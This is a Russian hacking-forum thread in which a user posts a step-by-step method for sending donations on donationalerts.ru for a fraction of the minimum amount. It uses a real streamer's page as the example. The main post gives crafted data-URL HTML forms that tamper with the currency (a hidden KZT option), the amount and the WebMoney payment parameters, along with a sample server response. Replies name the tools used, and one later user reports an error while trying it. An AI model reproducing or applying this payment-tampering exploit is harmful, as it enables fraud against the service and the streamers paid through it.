Ламерский метод "взлома" donationalerts.ru

Обсуждение в разделе «Уязвимости», начал(-а) Bonkеrs, 20.05.2015.

  1. Bonkеrs

    Bonkеrs Member

    Регистрация:
    5.02.2014
    Сообщения:
    36
    Одобрения:
    17
    Репутация:
    3
    Привет, хакеры и не очень!

    donationalerts - сервис, позволяющий стримерам платформы twitch, выводить сообщения на экран, во время онлайн-трансляции. В данной статье речь пойдет о скромной оплошности разработчиков, которая позволит нам отправить сообщение стримеру (подключенному к системе оповещений), потратив всего пару российских копеек, минуя установленную сумму доната.

    Разберем момент на конкретном пользователе - twitch.tv/ceh9, его страница в системе: donationalerts.ru/w/ceh9. Форма представляет собой окно для ввода вашего ника, сообщения и суммы доната с выпадающим списком для выбора валюты.

    [​IMG]

    Нас интересует код выпадающего списка (приведен ниже). Как можно заметить, веб-опции не предоставляют возможность выбрать KZT. Однако, в коде всех подобных страниц присутствует вариант с оплатой тенге. К сведению, 1 WMR = 4 WMK (казахский тенге).
    Code:
    <div name="amount-tip" class="tip">Минимальная сумма:
    <span class="curtm" data-currencycode="RUB" style="display:initial">50.00 RUB</span>
    <span class="curtm" data-currencycode="USD">1.00 USD</span>
    <span class="curtm" data-currencycode="BYR">20000.00 BYR</span>
    <span class="curtm" data-currencycode="UAH">20.00 UAH</span>
    <span class="curtm" data-currencycode="EUR">1.00 EUR</span>
    <span class="curtm" data-currencycode="KZT">0.02 KZT</span></div>
    На уровне запросов, отправка сообщения происходит в три этапа: передача post-параметров data и form; перенаправление на платежную систему с передачей параметров платежа; процедура оплаты.

    1. Отправляем ник, сообщение, сумму и валюту.
    [​IMG]

    Выполним идентичный запрос в браузере с подменой значений суммы и валюты.
    Code:
    data:text/html,
    <form method="POST" action="http://www.donationalerts.ru/w/ceh9">
    <input type="hidden" input name="data" value="name=Bonkers&amount=1&currency=KZT&comment=Good+luck%2C+man!">
    <input type="hidden" name="form" value="webmoney">
    <input name=""type="submit" value="go"><form>
    В ответ система генерирует номер платежа, выдает кошелек для оплаты, url платежной системы, а также прочие, статичные для частного примера, данные. Из полученного ответа нам потребуется номер платежа, кошелек и ссылка на платежную систему (в нашем случае, webmoney). Пример ответа:
    Code:
    {"status":"success","errors":null,"form":"webmoney","text":"\u0421\u043f\u0430\u0441\u0438\u0431\u043e! \u0421\u0435\u0439\u0447\u0430\u0441 \u0432\u044b \u0431\u0443\u0434\u0435\u0442\u0435 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043e\u043f\u043b\u0430\u0442\u044b.","redirect_url":null,"redirect_form":"<form method=\"POST\" action=\"https:\/\/merchant.webmoney.ru\/lmi\/payment.asp\" accept-charset=\"windows-1251\"><input type=\"hidden\" name=\"LMI_PAYMENT_AMOUNT\" value=\"1\"><input type=\"hidden\" name=\"LMI_PAYMENT_DESC\" value=\"DonationAlerts: ceh9\"><input type=\"hidden\" name=\"LMI_PAYMENT_NO\" value=\"21876\"><input type=\"hidden\" name=\"LMI_PAYEE_PURSE\" value=\"K354898616754\"><input type=\"hidden\" name=\"LMI_SIM_MODE\" value=\"0\"><\/form>"}
    2. Редирект на платежную систему.
    [​IMG]

    Имитируем запрос переадресации с заменой параметров LMI_PAYMENT_AMOUNT (сумма), LMI_PAYMENT_NO (номер платежа) и LMI_PAYEE_PURSE (кошелек):
    Code:
    data:text/html,
    <form method="POST" action="https://merchant.webmoney.ru/lmi/payment.asp">
    <input type="hidden" name="LMI_PAYMENT_AMOUNT" value="1">
    <input type="hidden" name="LMI_PAYMENT_DESC" value="DonationAlerts: ceh9">
    <input type="hidden" name="LMI_PAYMENT_NO" value="21876">
    <input type="hidden" name="LMI_PAYEE_PURSE" value="K354898616754">
    <input type="hidden" name="LMI_SIM_MODE" value="0">
    <input name=""type="submit" value="go"><form>
    3. Следуем инструкциям оплаты.

    Статья написана в ознакомительных целях и уязвимость в скором времени будет устранена разработчиками. На звание взломщика года я не претендую, поэтому буду рад выслушать ваши замечания. Отдельное спасибо M_script за элегантный метод отправки post-запроса из адресной строки.

    Прошу модераторов перенести топик в соответствующий раздел ("уязвимости", "статьи" или оставить здесь).

     
    #1 Bonkеrs, 20.05.2015
    В последний раз редактировалось: 20.05.2015
  2. Rebz

    Rebz Banned

    Регистрация:
    8.11.2004
    Сообщения:
    4 052
    Одобрения:
    1 534
    Репутация:
    1 128
    перенес в уязвимости, а там ребята пусть решат где теме место.
    Только не понял, почему ламерский метод? Нормальный вполне себе.
     
  3. Oasis

    Oasis Member

    Регистрация:
    25.10.2012
    Сообщения:
    4
    Одобрения:
    6
    Репутация:
    0
    это от скромности автора)
     
  4. Bonkеrs

    Bonkеrs Member

    Регистрация:
    5.02.2014
    Сообщения:
    36
    Одобрения:
    17
    Репутация:
    3
    Дело в том, что я совсем не хакер и реализация подобной невнимательности программистов показалось мне школьной забавой, в сравнении с другими статьями из этого раздела. Рад, если годно вышло. ;)
     
  5. evgenyzzz

    evgenyzzz Member

    Регистрация:
    21.08.2009
    Сообщения:
    0
    Одобрения:
    10
    Репутация:
    5
    Помниться лет 6-7 назад, по похожей схеме работали большинство регистраторов доменов, ух времена были.
     
  6. who_is_lamer

    who_is_lamer New Member

    Регистрация:
    15.12.2016
    Сообщения:
    3
    Одобрения:
    0
    Репутация:
    0
    что за софтина, через которую запросы отправлял?
     
  7. pw0ned

    pw0ned Member

    Регистрация:
    8.01.2016
    Сообщения:
    118
    Одобрения:
    48
    Репутация:
    14
    Обычный сниффер.
     
  8. who_is_lamer

    who_is_lamer New Member

    Регистрация:
    15.12.2016
    Сообщения:
    3
    Одобрения:
    0
    Репутация:
    0
    Мне-б конкретное название, как то давно был у меня этот, вспомнить никак не могу.
     
  9. brown

    brown Member

    Регистрация:
    16.10.2016
    Сообщения:
    270
    Одобрения:
    12
    Репутация:
    1
    для firefox плагин hackbar
     
  10. RWD

    RWD Member

    Регистрация:
    25.04.2013
    Сообщения:
    157
    Одобрения:
    41
    Репутация:
    2
    HttpAnalyzerStdV7
     
  11. Bonkеrs

    Bonkеrs Member

    Регистрация:
    5.02.2014
    Сообщения:
    36
    Одобрения:
    17
    Репутация:
    3
    Софт называется Chrome ;)
    Отправлял запросы через адресную строку: https://forum.antichat.ru/threads/424931/#post-3844418

    Снифер HttpAnalyzer, да.
     
  12. who_is_lamer

    who_is_lamer New Member

    Регистрация:
    15.12.2016
    Сообщения:
    3
    Одобрения:
    0
    Репутация:
    0
    • в операции должно участвовать два кошелька step=10, code=26 Что не так?
     
    #12 who_is_lamer, 12.01.2017
    В последний раз редактировалось: 12.01.2017
  13. RWD

    RWD Member

    Регистрация:
    25.04.2013
    Сообщения:
    157
    Одобрения:
    41
    Репутация:
    2
    May 20, 2015